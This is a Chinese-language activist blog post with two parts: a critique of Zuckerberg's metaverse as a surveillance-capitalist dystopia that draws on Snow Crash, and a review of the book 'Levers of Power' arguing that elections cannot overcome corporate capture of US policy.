如果您觉得这很模糊，那是因为所谓的元宇宙是一只章鱼，几乎有无限的手臂，没有单一的蓝图，这就是为什么许多人称它为**Web 3.0**。它是 “移动互联网的继任者”，扎克伯格上个月告诉 Verge：“你可以把元宇宙看作是一个具体的互联网，在这里，你不仅仅是在观看内容，而是身在其中”。

作为他最初的元宇宙媒体闪电战的一部分，上个月出现在CBS新闻上使用 Horizon Workrooms 展示了 “在互联网中” 的实际含义。

Workrooms 是 Facebook 试图超越 Zoom 的产品，是一个沉浸式的电话会议程序，同事们戴上 Oculus VR 头盔，共享一个虚拟的办公空间，比如，用手势在数字白板上涂鸦，而他们的数字化身则模仿他们自己的动作。这个演示看起来令人啼笑皆非（那些卡通化的化身看起来就像任天堂做了一个叫 Wii Work 的应用程序后的样子），但很容易理解为什么管理层会对一个看起来温和的、色彩鲜艳的全景式工作场所趋之若鹜 —— 因为在那里，即使在你自己的卧室，也不可能逃脱你老板的目光了。

根据扎克伯格的说法，Horizon Workrooms 只是未来的一个尝试。他说：“五年后，人们将能够住在他们想住的地方，在他们想工作的地方工作，并具有存在感”。

- 如果您错过了《*Facebook 想要驻扎在你脸上*》

如果元宇宙的想法超越了通过 Oculus 头盔的护目镜所看到的愚蠢的CGI驱动的技巧，那么 “存在” 的定义可能会在未来几年内完全被改变（尽管扎克伯格的半个月时间表似乎很乐观）。许多元宇宙的设计者设想了这样一个未来：物理、增强现实和虚拟现实融合成一个单一的 “现实”，由一个共享的经济和媒体消费系统管理。

风险投资家马修·鲍尔 (Matthew Ball) 去年1月在一篇有影响力的文章中概述了元宇宙的概念。他写道，元宇宙 “不仅将彻底改变数字世界的基础设施层，而且还将彻底改变大部分物理世界，以及在其之上的

所有服务和平台，它们如何工作，以及它们销售什么”。换句话说，元宇宙将创造一个全新的消费品所有权领域。

例如，想象一下，你为自己在视频游戏《堡垒之夜》中的数字头像购买一个《瑞克与莫蒂》主题的皮肤。目前这是有可能的，但只能通过购买1500个《堡垒之夜》的游戏币V-Bucks。装扮成瑞克·桑切斯(Rick Sanchez)只在流行的大逃杀射击游戏中有效。理论上，元宇宙基础设施将使你能够转移数字装备，在 Lady Gaga 的在线音乐会中（计划明年在《堡垒之夜》中使用）或与朋友一起进行 Peloton 团体锻炼时穿着它。

> “如果元宇宙让你听起来就像是从某本科幻小说上撕下来的书页，那是因为它确实如此。”

假设你的恶作剧做得太过火了，老板很恼火，因为你以卡通科学家的身份出现在现实生活中的会议上，每个人都通过他们的雷朋智能眼镜看到了这一点。然后，你羞涩地决定用这套服装换取货币，形式是“酷猫”不可伪造代币（NFT）和一把狗狗币。也可能发生了相反的情况，你非常喜欢它，你不仅想永远保留瑞克的皮肤，还想把它写进你的遗嘱，在你死后把它传给你的孩子。所有这些，甚至更多，都可以在元宇宙中实现。

如果元宇宙让你听起来就像是从某本科幻小说上撕下来的书页，那是因为它确实如此。

妖怪化的社会

「图」

元宇宙一词首次出现在尼尔·斯蒂芬森1992年的科幻小说《雪崩》中，该书讲述了阿弘（Hiro）的未来主义冒险，他是给黑手党送披萨的外卖司机，兼职当黑客，沉浸在被描述为“计算机生成的宇宙中。他的计算机正在将其绘制在护目镜上，并将其输入耳机”。

这本书长期以来一直是高科技祭司的圣经。斯蒂芬森被尊称为预言家，除了元宇宙之外，他还发明了虚拟化身和加密货币的概念。《雪崩》曾经是 Facebook 管理团队的必读书。斯蒂芬森与贝索斯结识，并在2014年被增强现实公司 Magic Leap 聘用，帮助实际建立元宇宙。

显然，硅谷的人都没有体会到讽刺感。《雪崩》是一部反乌托邦小

说，而不是一部乌托邦小说。

与《黑客帝国》电影或小说《头号玩家》（Ready Player One）等流行文化产品所激发的游乐场般的炼狱相比，《雪崩》中的数字王国甚至更加阴险。吞下《黑客帝国》中的红色药丸意味着刺破幻觉的面纱，体验到一个真实的世界。同样，《头号玩家》中的OASIS就像插入了世界上最先进的PlayStation，你可以轻易离开。

在《雪崩》中，一些用户可以登录和退出终端，但“妖怪”，一类始终佩戴着现实增强设备的角色，从来没有真正做到。对于一直居住在元宇宙中的妖怪来说，不存在“登录”和“退出”。

斯蒂芬森写道：

他们在一个激光绘制的世界中漂泊，在各个方向上扫描，对一千码内的每个人进行背景调查，同时看到视觉光、红外线、毫米波雷达和超声波中的一切。

通过做出真正的设计来迎接元宇宙，硅谷正试图把我们都变成妖怪。

法国哲学家让·鲍德里亚（Jean Baudrillard）对这种情况有一个说法：超现实，现实和模拟是如此无缝地融合在一起，以至于世界之间没有明确的区别。他推测，最终，这种区别已经不重要了，因为无论如何，人们会从模拟世界中获得更多的意义和价值。

如果元宇宙无法与现实生活分开，那么元宇宙就是现实生活，以至于“元宇宙”这个词本身最终被淡化，建构的现实也变得不可见。考虑一下资本主义是如何成为类似于西方版本的 **Windows** 的东西，一个在新自由主义时代悄然运行的操作系统。现实的终结可能成为新的“历史的终结”。

你能想象那些拉开这个新现实的弓弦的人的力量吗？扎克伯格可以。

“头号世界”

「图」

有些人认为元宇宙只不过是个空谈。在扎克伯格宣布这一消息后，包括左派在内的一些批评者将其斥为“数字骗局”或“哄孩子”的骗局，正如 Gawker 讥讽的那样。

一代人之前，许多婴儿潮一代和年轻的X一代对原始互联网到来的消

息嗤之以鼻，或者嘲笑它将永远改变社会的想法。我个人知道这一点，因为在1994年冬天，我为我的高中报纸写了一个专题，标题是："什么是互联网？"它赢得了很多困惑的目光。但后来发生了一件有趣的事。书呆子们赢了，互联网确实改变了一切。

证明 Web 3.0 即将到来的证据无处不在。在过去的二十年里，我们越来越多地放弃了共享的物理和公共空间 —— 鲍德里亚所说的 "真实的沙漠"—— 而去追求超现实的狂喜和通过屏幕进行的体验。有没有想过为什么我们现在需要 "生活" 这个词作为修饰语放在 "体验" 之前？

当《名利场》问斯蒂芬森关于他的小说对当前时代的预测时，他说："现在蜷缩在你手中的长方形（手机）上四处游走的做法是完全正常的，当我看到有人在汽车里或在数百英尺外的街上行走时，我就可以从他们的姿势看出他们在发短信"。

COVID-19的大流行政策，如隔离和社会疏远，使这个世界向数字优先的社会的转变进入了超速状态。在封锁期间，数字设备的平均使用时间每天增加了5小时，重度用户每天粘在设备上的时间约为17.5小时。Zoom 现在有3亿用户，而在2019年12月只有1000万。谷歌、**Facebook**、苹果和亚马逊 —— 信息经济的四大巨头 —— 现在 "大而不倒"，就像美国的顶级银行和制造商在上世纪末那样。

甚至许多抗议团体（不论是极右翼还是左翼），都有一种超现实的质感，仿佛他们从互联网的边缘角落走出来，走到大街上，就像装扮好的网络化身活了过来。由 **Reddit** 驱动的米姆股票、加密货币和**NFT** 的激增，暗示我们的经济也在朝这个方向发展，伊隆·马斯克能够通过一条推文创造财富、也可以摧毁财富。在一个非常现实的意义上，数字工作、游戏、购物、社交和政治，已经在取代而不是补充它们在物理世界的对应物。

视频游戏已经有了类似于元宇宙的品质。2020年，说唱明星 Travis Scott 在《堡垒之夜》中举办了五场虚拟音乐会，Epic Games 声称有2770万玩家参加。每天大约有150万人玩 Axie Infinity，在这个游戏中，用户花费数百美元在他们的电脑上饲养类似神奇宝贝的生物，希望能培育出一种罕见的类型，从而获得高额的加密货币。有相当数量的年轻人退出了正规经济领域，整天养殖 Axies。用 Twitter 的话说就是：打工经济已经疲惫不堪；休闲经济则是有线的。

硅谷认为元宇宙的基础已经到位，也许有充分的理由。鲍尔写道："像这样的根本性变化" 总是一个数十年的迭代过程，"然而，尽

管如此，在过去的几年里，有一种明确无误的感觉，即 基础部分正在以一种感觉非常新、非常不同的方式组合起来”。

元宇宙的秘密

「图」

像贝索斯、马斯克和扎克伯格这样的硅谷巨头认为，他们最终是人类的大救星，而不是恶棍。他们是吉恩·罗登贝里(Gene Roddenberry)原作《星际迷航》(Star Trek)的粉丝，这部电视科幻作品将太空设想为一张改进社会的空白画布，赞成探索而非殖民主义，外交而非战争，商业而非贪婪。

贝索斯和马斯克还没有大胆到要实现太空社会主义的程度。他们似乎已经接受了一个严峻的事实，即地球正在消亡，因此，人类需要一个逃生舱，进入一个勇敢的新世界，在同样的自由市场资本主义下运作，只是更强调 “自由” 的部分。

但是，虽然从远处看，太空是迷人的研究，而作为一个生活、呼吸和繁荣的地方，嗯，它很糟糕。也许这就是为什么马克·扎克伯格选择不参与这场特殊的太空竞赛，而专注于元宇宙。毕竟，**Facebook** 自己的历史证明，殖民地球人的思想要比殖民火星容易得多。

扎克伯格自己的技术乌托邦主义品牌并不新鲜。它是对**60**年代后网络预言家意识形态的重启，他们将万维网视为新时代自由主义和解放的潜在冥界，一个几乎是精神的旅程，“将使我们摆脱边界和法律，打破身体和心灵的枷锁”。但他的版本恰恰相反，他是在冲淡这一理想。

“我相信，当更多人可以分享他们的经验时，当政府和媒体公司等传统守门人不控制哪些想法可以被表达时，世界会更美好”，扎克伯格在2019年说。请注意，他说的是个人自由表达，而不是资本、劳动，甚至不是民主。这就是我们继承的那种互联网：一个垄断性的数字购物中心，而不是一个公社。而它所帮助产生的社会只是类似于《雪崩》，而不是《星际迷航》。

仔细阅读斯蒂芬森小说的读者会知道这是一个悲剧。在《雪崩》的黯淡宇宙中，政府已经退居二线，土地被分割成由大企业统治的特许经营的城市国家。无政府的资本主义的胜利反过来又导致了不平等的飙升和物质条件的恶化，而元宇宙为大众提供了一个避难所—— 或者至少是一个转移注意力的地方 —— 来逃避他们周围的堕落社会。

互联网作为新的圈地运动

「图」

许多人将互联网视为创造新公地的机会，即 可以共享而非私人拥有的资源。但是，面对国家和企业对我们每个人在线互动的结构越来越大的权力，我们不得不考虑一种更加根本性的原因，即 互联网代表了一种新的公共资源的封闭性：将通信引导到可以被映射、巡逻和控制的格式。

向资本主义过渡的基础性事件之一是最初的公地圈地运动，即 曾经被所有者自由使用的土地被没收并变成了私有财产。事实上，在整个资本主义的发展过程中，这一圈地运动一再被重复。

似乎很有可能，在“公地”受到圈地威胁之前，我们无法认识到这件事。没有人认为“祝你生日快乐”这首歌是公有财产，因为声称拥有版权的时代华纳公司没有成功地从其在生日聚会上的表演中获利；农民和原住民最初也不认为土地是共同拥有的财产—— 相反，他们认为土地可以成为财产的想法很荒谬。

仅仅在几代人之前，同样很难想象有一天人们在一起聊天时可以看到相应的广告，你也很难想象你都不知道是谁的人可以一目了然地描绘你的私人品味和社会关系，或者通过监测你的谷歌搜索实时跟踪你的内心活动。

与其说互联网是“不可避免的自由进步的前沿阵地”，不如说它是与那些不仅要将土地私有化，而且要支配我们每个人的自我身份的每一个方面的统治阶级进行的一场长达几个世纪的竞赛中的最新战场。那些希望捍卫它的人有责任证明它仍然提供了一个自由的疆界。在这场斗争的过程中，可能会发现，数字自由像所有有意义的自由形式一样，与资本主义和国家无法兼容。

> 这个媒介将人的经验、记忆和交流转化为合成和外部的东西。在一个媒体驱动的社会中，人们依赖技术来获取自身的这些外在方面。书籍、录音、电影、广播、电视、互联网、手机：这些连续的创新都深入到了每个人的日常生活中，在我们的经验中占比越来越大。

数字化资本主义、注意力经济和监视国家

「图」

直到20世纪末，大众传媒基本上还是单向的，信息流向一方，注意力流向另一方。批评者普遍关注其结构的这一方面，指责它给了一小撮人对社会的巨大影响，而使其他人成为旁观者。相比之下，地下媒体则倡导更多的参与性和分散化的形式。

随着可广泛使用的数字媒体的到来，参与和分权突然成为了主流。在许多方面，互联网为新的交流模式提供了一个解放和授权的场所。由于基本模式是由军方资助的研究人员开发的，而不是由私营部门开发的，所以它被设计成有用的而不是有利可图的东西。

- 在这里看到具体解释《互联网究竟是什么？—— 来自“监视谷”惊人的启示》

直到今天，互联网的大部分仍然是一种狂野西部，在那里很难执行传统的财产法。用户之间自由和直接分享内容的能力对一些行业产生了巨大的影响，而维基百科和开源软件等协作形式表明，人们可以在没有私有财产的情况下轻松满足自己的需求。企业仍在争先恐后地想办法在互联网上赚取网店和广告以外的钱。

然而，随着我们的生活越来越多地被数字化，重要的是不要想当然地认为这总是最好的结果。资本主义通过吸收世界上曾经是免费的方面，然后以价格提供访问它们的机会而繁荣起来，这种价格并不总是以金钱计算的。

您应该特别注意新媒体的所谓便利方式：这种便利更像是人类生活的无限可能性被强行缩小的标志。事实上，这些创新甚至几乎是可有可无的：而如今，如果你没有手机和网上资料，就很难维持友谊或被雇用。我们越来越多的心理过程和社会生活必须通过技术的调解，这些技术为企业和政府间谍机构绘制我们每个人的一举一动和社交关系。这些格式也塑造了这些活动和关系的内容。

- 关于这点，见《便利的暴政》；以及《单向镜的背后：监视资本家和政府的联手一直在如何折腾你？》

Facebook 提供的网络并不新鲜；新鲜的是它们似乎对我们来说是外部的。我们一直都有社交网络，但没有人可以利用它们来卖广告 —— 它们也不那么容易被映射。而现在，它们作为我们必须咨询的东西重新出现。早在电子邮件、谷歌和推特之前，人们就与老朋友通信，自学技能，并传播公共事件。当然，这些技术在一个我们很少与邻居亲

近或很少在任何地方呆上几年的世界中是非常有用的。技术和日常生活所承担的形式相互影响，使人们越来越无法想象将它们分开后的结果。

随着人们对信息的需求和获取的增加，超出了可以内化的范围，信息似乎变得与人们分离了。这与将工人转变为消费者的劳动产品强行分离的做法有相似之处，令人怀疑。互联网上的信息并不是免费的——计算机和互联网接入要花钱，更不用说生产这些信息和在世界各地运行服务器的电力和环境成本了。如果企业想出办法，在人你完全依赖这些技术的时候向你收取更多的费用呢？如果他们能做到，不仅是权力和知识，甚至是维持社会关系的能力都将直接取决于财富。

- 如果您错过了《掏钱吧，亲...》

但这可能是需要注意的错误。旧的财团可能终究无法在这块新的土地上巩固权力。资本主义通过数字技术对我们的生活进行殖民化的方式可能与旧的殖民化形式不一样。

像任何金字塔计划一样，资本主义必须不断扩张，吸收新的资源和主体。它已经延伸到了整个地球；最后的殖民化战争正在喜马拉雅山脚下，即世界的最边缘进行。从理论上讲，它现在应该即将崩溃，因为它已经用尽了视野。但是，如果它可以继续向我们这些人类扩张，而这些新技术就像哥伦布的航船降落在所有人的心理过程和社会关系的大陆上呢？

在这种说法中，互联网的功能是建立在物质经济上的另一个连续的异化层。如果互联网上的大量内容都是免费的，这不仅仅是因为殖民化的过程还没有完成，而且还因为媒体的决定性货币不是美元，而是注意力。注意力在信息经济中的作用与物质资源的控制在工业经济中的作用相同。即使注意力不能立即转化为网上的收入，它也能帮助确保网上的收入。作为货币，注意力和资本的行为是不同的，但它们都有助于创造权力的不平衡。

资本到底是什么？一旦你剥去那些使它看起来像自然力量的迷信，就能看到，它本质上是一种社会结构，是使一些人能够积累的对他人的权力。如果没有私有财产的概念，而事实上的私有财产只有在每个人都尊重它的情况下才是“真实的”，物质资源就不能作为资本发挥作用。在这方面，产权的作用与君权神授的概念的作用相同：两者都是分配主权的制度的基础。有些人热衷于产权，即使这些权利被用来剥夺他们在社会中的任何影响力。可以说，这些人是在财产的魔力之下。

同样地，当一个影响者(广告代理商/网红/大V)着手使一个meme走红时，你可以说它正在试图施展一个魔咒。如果注意力是媒体的货币，那么获得注意力就是使人们买入一个权力结构的一种方式—— 不论是在字面意义上还是象征意义上。决定性因素不是人们是否同意或赞同他们自己所看到的，而是，他们所看到的在多大程度上影响了他们的行为。

数字媒体似乎已经分散了注意力，但是它们也在使其流通的场所标准化。小心任何囤积注意力的实体，即使他们从未将其转化为金融资产。谷歌和 **Facebook** 的真正力量并不在于他们的金融资产，而是在于他们构造信息流的方式。在将统一的逻辑强加给通信、关系和调查时，它们将自己定位为新时代的权力经纪人。

在这些公司的背后是全世界最强大的间谍机构，它们现在拥有前所未有的能力可以映射所有人的关系和每个人的思想过程。通过监控谷歌搜索，可以实时追踪互联网用户的思维轨迹。这些间谍更不需要将互联网的使用直接转化为经济利益；它所寻求的货币是数据/情报本身，用它来指挥政府的蛮力。监视国家的作用是维持像 **Facebook**/腾讯 这样的公司做生意的条件；这些公司积累的权力越多—— 无论是金融还是其他方面—— 就有越多的权力转回到政府手中。

在 “棱镜” 丑闻之前，许多人认为监视和审查主要是在叙利亚和突尼斯等地使用—— 即 战区。而事实上，这些政府使用的大部分审查技术都来自硅谷—— 而且最早是在国内应用的。由于即使是最轻微的互联网审查也要以有效和详尽的大规模监控为前提，所以从监管到封锁只是一小步。

换句话说，我们越是依赖数字技术，我们就越容易受到大规模机构的影响，而我们对这些机构的影响力非常小。即便是民主国家，即便是总统，也一样，无法或至少极难影响间谍机构。在这里看到《全球暴行的同谋者》。

这并不是对技术本身的批评。关键是技术并不是中立的：技术总是被它所开发和应用的社会结构所塑造。我们所熟悉的大多数技术都是由利润和统治的必要性所塑造的，但一个基于其他价值观的社会肯定会产生其他技术。随着数字技术越来越多地融入我们的社会结构中，重要的问题不再是是否使用它，而是，如何捣毁产生它的结构。

换句话说：互联网自由的支持者应该问自己，你想要的这种自由是否真的能与资本主义和国家相兼容。〇

THE DARK SIDE OF VR

Mark Zuckerberg's "Metaverse" Is a Dystopian Nightmare

The Internet as New Enclosure

原文

为什么选票无法帮你改变糟糕的现状？真正改变应该来自哪里？：权力的杠杆 - iyouport

免费书和纪录片关于高堡奇人社会反抗和思考

【2021年3月23日存档】“deep state” 并非什么阴谋，而是一个公开的谈判；如果您坚持认为它是阴谋论，那就无法理解几乎所有相关问题，当然也无法改变现状。3本书告诉您这是为什么

【按】2020大半年的时间里，从BLM到美国大选，IYP说过一连串可能在当时阶段中文网络环境中“很不讨喜”的话，但这些都是要点：

- 在第一次汇总BLM运动时我们写道：罢工是唯一的和最好的办法；暴力不会解决问题；反抗行动必须有战略性思考，必须能准确抓住并瞄准真正的对手最致命的弱点。
- 在“来自中国的跑题”中我们强调：“一个新的时间正在开始”。当时很少有人能理解到BLM再次出场的重大意义（是的，这一次与弗格森有所不同了，更多是时机方面的重要意义）
- 在年终对话《打破 Matrix 的路》中我们强调：你无法使用统治阶级提供的工具去拆除统治机器，你必须有自己的工具和真正的力量。在中国，“统治阶级”提供的工具就如上访、民调、在线抱怨等等；在美国，它就是选票。你无法通过选票来实现想要的改变。
- 在《美国选举为什么撕裂了华人团体》中我们写道：中国舆论的撕裂源于问错了一个根本性问题—— 公民需要考虑的问题并不是“谁来当总统”，而是“为什么不论谁来当总统，那些糟糕的状况都顽固地保持着不变”；尤其是：公民需要怎样做才能改变这种状况。

📌 事实上这4个要点是所有事的关键，之所以在当时的中文网络中不讨喜，不过是由于那个时候大多数人都还没能理解到它们。今天我们将推荐一本新书，它非常详细地解释了我们去年特别强调的上述这4个问题它们为什么是关键 —— 即 真正的反抗必需是什么样的。

要想读懂这本书，您首先需要知道一些基础知识：

对于上述“1” —— 正如我们在 “整体安全” 教程系列中安排的练习所显示的那样，您首先需要明白您的 *真正* 对手是谁，他们最怕什么，什么才是他们的软肋。

📌 请注意！这里最重要的是 “真正的对手”，失败的抗议很大程度上是源于找错了目标。就如我们在分析香港抗议活动为什么失败的访谈中所解释的，如果抗议者能从第一时间找对目标，其结果可能不会是现在这个样子。

在美国，*真正的对手* 并不是政府和政客，而是操纵政府和政客的利益集团，美国反抗者准确地抓住了这一要点，这就是他们获得胜利的关键能力。

也正是上述 “2”中所指出的，这个新的时间已经开始了，它绝不会限于美国， 就如反警察暴力热潮迅速被很多国家所复制那样，它肯定是全球性的。

对于上述 “3”，在中国的人们往往很容易理解这点，但却难以理解在美国的同样的事，幸运的是，很多美国反抗者都能明白这点，即 选票是无用的，真正的改变必须公民亲自动手才能完成。

如果您继续认为 “deep state” 是阴谋论，那就肯定无法理解这一事实。正如这本书中所讲述的，“deep state” 并非什么阴谋，而是一个公开的谈判，它足够证实我们不断强调的部分，即：政客只是木偶，如果木偶不听话，他们就无法在这个位置上坐稳。

📌 换句话说 —— 也就是上述 “4” 所指出的 —— 如果您想要预测政策或者国际关系，却只盯着政客本身，您不会得出任何正确的结论。

这本书选取了一个很好的角度来阐述这个问题，即 从奥巴马政府开始。因为奥巴马的当选是建立在承诺 “希望与变革” 的基础上的，结果呢，还记得那个 “戈多” 的比喻吗，支持者苦苦等了8年，戈多也没来。

为什么会这样？奥巴马是骗子吗？是，但也不完全是，真正的原因就是这本书中前半部分希望解释的：政客的心意完全不重要，或者准确说，对政客施压要求改变是无用的；反抗者必须首先认识到这点才能设计真正可以有效的行动方案。

这也是为什么去年我们写道：民意调查是不可靠的，如果您想要获得

更准确的预测，应该直接去看利益集团的动作，看他们的钱放在了哪里。

请注意，拜登的当选并不是像奥巴马那样建立在承诺改变的基础上，恰恰相反，他的当选是建立在反对桑德斯进步派的倾向基础上的。换句话说，他的胜选基于退步。

拜登时代将 “理所当然地” 加固这种保守和倒退，正如 **The Baffler** 多年前就已经警告过的：把希望寄托于选票，你将 《没有未来》。

反抗者如何才能抓住真正的重点？这必须得益于知识分子的精准论述，知识分子必须能及时准确地分析局势，并告知人们最有效的策略应该是什么。这需要知识分子放弃对个人荣耀的专注，将精力投入到切实的行动中来。

本文中将涉及到*3*本书，您可以在这里下载它们：https://www.patreon.com/posts/wei-shi-yao-xuan-45240844https://www.patreon.com/posts/43990511

长期以来，民主主义者们一直在以一个简单的要求来回应公众对这个饱受摧残的社会契约的抗议：投票。其含义是，选民应该团结在承诺与现状作斗争的候选人身边，并在候选人当选后信任他们主持的机构。

在《权力的杠杆》这本新书中，历史学家凯文·杨 (Kevin A. Young) 和社会学家塔伦·班纳吉 (Tarun Banerjee) 及迈克尔·施瓦茨 (Michael Schwartz) 仔细研究了这个概念 —— 这个概念在每一个竞选季都会复出 —— 即：“选举政治可以带来真正的好转”。这究竟是不是真的？

这么多年经历了如此多失败的选举后，每个人都会对这个概念产生疑惑。

这本书主要反映了巴拉克·奥巴马政府的情况，展示了经济和政治精英们如何在政策圈内嵌入了一个即使是有改革意识的官员也无法逾越的利益集团谈判过程。呈现出的是对企业杠杆的鲜明描述，即 “无论谁当选，美国政治都有同样的基本模式”。

通过聚焦奥巴马政府，《权力的杠杆》这本书确立了政策限制如何在总统权力交接期间相互联动 —— 即使是在被任命的官员发生变化的情况下；同时，也展示了被授权进行渐进式改革的当选领导人如何变成了适应常态，尤其是在没有组织社会运动以要求立法多数派承担责

任的情况下。

在奥巴马以 “希望与变革” 的竞选口号当选后的兴奋中，自由派媒体激起了人们对政府采取类似新政的行动以对抗大衰退的诸多期望。但是，正如这本书所显示的那样，在公众支持大胆改革的问题上，奥巴马透露出一种完全保守的倾向，即 优先考虑所谓的 “商业信心” —— 即使是在民主党在参众两院占多数的两年里，也希望有利的监管和税收环境能够促进复苏所急需的投资。

如何解释大众的期望和奥巴马的实际记录之间的这种天壤之别？人们可能会指出一系列的因素，从意识形态的承诺到个人性格和国会谈判的性质等等，但是，《权力的杠杆》强调了奥巴马对经济精英们（即那些寡头）最强大的谈判策略的敏感性：资本罢工的威胁，这种威胁会从经济中抽走投资，并可能导致或加深经济衰退。如果您觉得难以理解这点，那么建议看一本老书，Charles Reich 在1970年出版的《The Greening of America》，其中有一个概念：“公司国”，这个概念在这本书中第一次被使用，然后一直延续到现在，并不断加强 …… 如果您能看懂这本书，就能理解这张图

资本罢工是一种法律勒索，它使民选官员不敢冒险与最具掠夺性的资本家对抗 ——通常集中在化石燃料、医疗保健、军事、和金融服务行业。在一个缺乏资本管制、充斥着避税天堂的全球经济体系中，资本罢工预示着经济的阴霾，意味着总统失去权威。

这种配置甚至让改善公共福利和减少不平等的温和建议都感到寒心：所传递的信息是，工人和消费者将因更高的公司税、新的或更强硬的法规、或 “扭曲” 市场激励的财政政策，而受到不同程度的影响。通过解读奥巴马政府的人事选择和新闻声明，《权力的杠杆》这本书展示了对撤资的担忧如何主导了2009年和2010年摆在民主党国会多数派面前的优先事项。面对巨头公司坐拥促进复苏所需的数万亿美元的窘境，政府在每个阶段都试图安抚它们。

Young、Banerjee 和 Schwartz 强调，撤资的威胁不仅直接而且间接地扭曲了政策优先事项，并且，因为它影响了总统对内阁和监管机构的任命 —— 从而进一步限制了政治可能性的范围。

【注：撤资（disinvestment）是指利益集团通过共同的经济抵制来操控政府的手段，行业或公司施加压力，要求当选官员改变政策，或者在政府的情况下，甚至要求改变政权本身 —— 即 政变威胁。这个词最早于上世纪80年代使用的，最常见于美国。该术语也适用于针对伊朗，苏丹，北爱尔兰，缅甸和以色列的行动。】

在奥巴马时期，这些 *非* 民选官员 —— 包括幕僚长比尔·戴利（Bill Daley）、前世界银行首席经济学家劳伦斯·萨默斯（Lawrence Summers）、以及国家经济委员会的其他人 —— 很多人的职业生涯都是在私营部门和政府之间轮换的。即 政治旋转门。

正如《平价医疗法案》（ACA）和《多德-弗兰克金融改革》（Dodd-Frank）案例所显示的，这些顾问获得了对政策的重大否决权。由于总统任命的官员不对公众负责，他们权力的咨询性质独特地将精英经济利益嵌入到政策讨论中。特别是在新政府成立之初，这些被任命的官员会影响行政部门所谓的路径依赖性决策，使政府更难改变方向或采取新的优先事项。他们在国会的对应人员同样与商界关系密切 —— 无论是通过来自寻求放松监管的行业的助手，还是通过拥有竞选资金的游说者。

【注：这就是为什么我们会分析拜登内阁的成员，这些人不是民选的，但是，他们将以他们的利益控制决策，而不是拜登本人】

私人利益集团以各种形式购买决策权的能力，严重限制了政府官员考虑的措施，反过来又控制了提交给公众的政治辩论。

📌 Young、Banerjee 和 Schwartz 对他们如何构架这一熟悉的批评非常严谨。他们强调，**“deep state”** 并不是什么阴谋，而是一个谈判过程，已经经过数十年的完善，完全隔绝公众监督，大幅收缩了政策选择的范围，将政府决策控制在企业利益相关者能够容忍的极少数改革的范围内。

虽然这本书的系统性政策捕捉的例子明确无误地展示了奥巴马政府如何有利于精英利益集团而不是民主党的基础，但作者的主要目的并不是为了打消读者对历史的疑虑；这项任务已经由许多其他人多次执行了。相反，这本书更具体的目标是投射出资本主义治理的分层结构，这种结构如何不受问责制选举的影响 —— 即 不论谁当选，现状都不会改变。

在这一重要方面，《权力的杠杆》暴露了谈论 “改革” 的内在问题、及其作为政治成就的不透明性。

请注意，改革意味着对市场社会或法律中不公平现象的缓解，而不是消除和替代。在成熟的资本主义制度中，改革的设计是简约的，因为改革的意图是修复关键部门，而 *不会* 引起人们对资本主义所造成的更根本的问题和不公正的过多关注。

无一例外，政治目标是协调资本家之间的利益，遏制在某一部门内过于寄生的做法。与人民的利益完全无关。

【注：这里的改革指的是各方面的，包括对大规模监视和透明度革命的扼杀。还记得吗？美国活动家的口号：《不要相信改革》】

因此，这本书中所说的“企业妥协”，并不是代表公共福利向行动主义政府让步，而是，通过技术官僚的调整来恢复寻租者之间的平衡。

尽管坚持了这种妥协，但奥巴马的标志性改革 —— ACA —— 还是以党内投票的方式通过了，给人留下了一个 *错误的* 印象，即 它并不包含大量旨在满足共和党人的妥协，共和党人为了政治利益而强调拒绝它。与共和党的宣传相反，ACA中的意识形态残余 —— 其框架部分是由传统基金会早在1989年就提出的建议演变而来 —— 绝不是“社会主义”；相反，它与维持一个提供美国**12%**就业的部门的丰厚利润是一致的。

《权力的杠杆》强调，即使在经历了完全不透明的“香肠式制作过程”后成为法律，一项改革在执行过程中仍可能被削弱。如果企业利益相关者对他们所获得的让步感到不满，他们就可以提出法律挑战，拖延法律的执行。

法律挑战也会针对那些不需要国会批准的法规，这往往会让资金不足的机构苦恼。环境保护局（EPA）就是一个很好的例子，它一直是化石燃料行业的目标。由于华盛顿几乎没有解决气候危机的任何意愿，矿业巨头通过诉讼争取到了时间，直到特朗普（**Donald Trump**）这位大规模放松管制的支持者赢得总统职位。从那时起，环保局已经被颠覆得无以复加，无法作为应对气候危机负有责任的行业服务。

📌 选举很少能产生有意义的改革，并且，正如过去四年全世界所见证的那样，选举肯定会加剧倒退的公共政策，使公然滥用权力成为可能，破坏民主制度，并使危险的意识形态正常化。

不可否认的是，正如 Jane Mayer 的《黑钱》（2016）和 Nancy MacLean 的《锁链中的民主》（2017）所记述的那样，像科赫兄弟这样的激进自由主义寡头对反民主宪政秩序的追求，在一个已经粉碎了民主规范的总统和共和党那里赢得了更多的筹码。

但是，要理清特朗普时代蓄意的制度破坏的全部悲剧，就必须承认一个更深层次的事实，即：包括民主党内在内的精英共识治理的监护人，正是使美国政治制度暴露于特朗普那种反制度政治的责任人。

凯恩斯主义之后的精英共识曾指导政治经济，幻想繁荣与萧条的周期不会产生政治制度的病态；但它们确实如此，因为两党都实行了新自由主义政策，加深了人民对政府的不信任。这使财阀们有恃无恐地支持反制度的狂热分子担任公职 ，培养右翼大法官，并劫持媒体话语权。

大多数民主党人 —— 包括参议院的国会领袖查克·舒默和众议院的南希·佩洛西 —— 非但没有对自由市场意识形态和右翼极端主义抬头之间的联系提高警惕，反而自顾自地寻找所谓的 “亲市场” 的解决方案来解决迫在眉睫多种问题。雅各布·哈克（Jacob Hacker）和保罗·皮尔森（Paul Pierson）、苏珊·梅特勒（Suzanne Mettler）、阿尔弗雷德·斯捷潘（Alfred Stepan）和胡安·林茨（Juan Linz）以及杰弗里·温特斯（Jeffrey Winters）等社会科学家的研究，都反映了他们对企业权力的默许，他们都解释了过去四十年中垄断权力的1%是如何获得大部分经济收益的。在提炼促成这一趋势的机制时，《权力的杠杆》表明，这些机制并不是新的，而是资本主义与生俱来的特征，它们会随着社会抵抗而加剧或减弱。

反过来，这本书澄清了许多左翼人士和其他政治评论家在过去十年中得出的主要结论：共和党阻挠者及其强大的恩人往往不是改革的主要障碍；相反，他们只是支撑了民主党人自己心甘情愿迁就的对1%利益集团的制度化服从。许多民主党人在冠状病毒全球大流行期间仍然顺从与那1%，这一事实表明，乔·拜登的任期内，仅仅稳定系统所需的每一个可以想象的工具都必须满足激发所谓的 “商业信心” 的可恶考验。

现在您知道了，选举并不能瓦解利益集团的 “deep state”，那么如何才能做到瓦解它呢？

